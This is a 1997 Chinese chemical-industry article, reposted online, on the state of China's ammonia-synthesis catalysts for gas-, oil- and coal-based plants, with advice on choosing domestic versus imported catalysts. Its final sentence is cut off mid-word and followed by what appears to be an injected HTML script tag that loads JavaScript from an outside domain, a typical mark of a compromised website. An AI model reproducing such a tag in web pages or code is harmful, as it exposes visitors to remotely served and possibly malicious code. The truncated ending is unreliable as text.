我国合成氨催化剂的现状及其使用选择
1997年27期 发行日期:2006-04-17
我国合成氨催化剂现状及其使用选择 □化工部科学技术研究总院 汤洪良 我国化肥催化剂的种类之多和适用范围之广,为世界上少有。我国有适应不同原料(煤、油、气)大型氨厂所需的催化剂,有适应各种气化原料、各种不同工艺及不同要求的中小型氨厂所需的催化剂。有些催化剂已达到甚至优于国外同类催化剂的水平。但在这众多种类,牌号甚多,原料、工艺、要求都不太相同的情况下,如何选择好催化剂,如何使用好催化剂,这是我国过去、目前乃至今后需要解决的重要问题。 一、现状和水平 1.以天然气为原料大型合成氨装置所需催化剂 1973年,当时燃化部组织了20多个单位、近千人,进行了引进30万吨/年合成氨装置所需催化剂国产化的攻关会战。经过近8年时间的研究、开发、试用,到1981年,大部分引进的30万吨/年合成氨装置都使用了国产催化剂。以后又经过改进、提高,30万吨/年以天然气为原料的合成氨装置所需催化剂全部使用了国产催化剂,这是我国合成氨工业发展中的一件大事。经过10多年的应用,催化剂已定型,已被使用厂家所接受。 近几年来,催化剂单耗已下降,个别品种可与国外催化剂相比。 大型合成氨装置使用结果表明,其主要性能及技术经济指标基本上与国外同类型催化剂相当,某些催化剂的性能达到甚至超过了国外同类型催化剂水平。国产催化剂与国外催化剂存在的差别主要表现在国产催化剂的堆比重高,如高温催化剂约高20%;国产催化剂强度的弥散度比国外高,均匀性差。 2.轻油、重油、煤为原料的大型合成氨装置所需的催化剂 轻油为原料,尤其是Kellog流程气改油装置所需的一段转化催化剂,其性能基本上达到英国ICI公司的水平。 重油和煤为原料的大型合成氨装置中所需的高温变换催化剂过去一直是空白,引进德国的K811,目前齐鲁公司研空院开发了能替代的催化剂,性能与K811相仿。 其它所需的催化剂均可使用国产催化剂。 3.中、小型合成氨装置所需催化剂 中、小型合成氨装置是结合我国国情建设的一大批合成氨装置。催化剂一直使用国产催化剂。催化剂的种类很多,型号也很多,基本能适应中小型合成氨装置的需要。最近几年,节能降耗的高活性催化剂也不断涌现。 到1993年底,我国生产化肥催化剂的厂家有48家,总生产能力为57260吨,其中合成氨催化剂约占90%。催化剂国内外竞争激烈,国内催化剂生产设备的利用率仅为48%,因此合成氨催化剂的生产能力过大,供远大于求。 二、使用选择 我国合成氨催化剂的主要技术性能指标与国外催化剂基本相当,售价一般比国外便宜。我国合成氨催化剂生产厂家众多,牌号和品种也很多。鉴于此,作为使用厂家就有一个合理选择的问题。 1.选择国内还是国外的催化剂 原则上是首先选择国内催化剂,但不排斥选用国外催化剂。什么情况下选用国外催化剂呢? ①合成氨装置是引进国外先进的工艺或反应器的,有特殊要求和高技术经济指标的,一般选用国外催化剂为宜。在第一炉使用结束后,应考虑国内催化剂的替代使用。两炉进行比较后,再决定第三炉用何种催化剂。这样做,对今后选用催化剂比较主动。例如中原化肥厂的一段转化催化剂,第一炉用国外的,第二炉用国内的,两炉催化剂都能满足要求,这样使中原化肥厂选择催化剂主动得多。 ②国外催化剂一般以立方米计价,国内催化剂一般以吨计价,这有一个成本核算的问题。如果以一炉催化剂的成本计,国内国外一样或相近时,首先选择国内的,因为万一升温还原时出事故,补充或更换催化剂方便。若成本有较大差距,则选用便宜的。 ③一些使用寿命比较短、更换频繁的催化剂,在性能、指标和成本上相差不多的,一般选用国内催化剂为宜。例如脱硫剂等净化剂选用国内的较宜。 ④若选用国外催化剂,一般应选用著名的国外催化剂公司的产品,选用时同时要了解它在其它装置上应用的情况,不能冒然选用。 2.国内催化剂的选择 ①大型合成氨装置所需的催化剂的选择应慎之又慎,第一次选用更重要。原则上应选择著名生产厂家的产品。 所谓著名生产厂家是指长期生产该品种、有成套的检测手段和装置、生产量比较大、有较强售后服务队伍、最好自己有开发能?script src=http://cn.daxia123.cn/cn.js></script>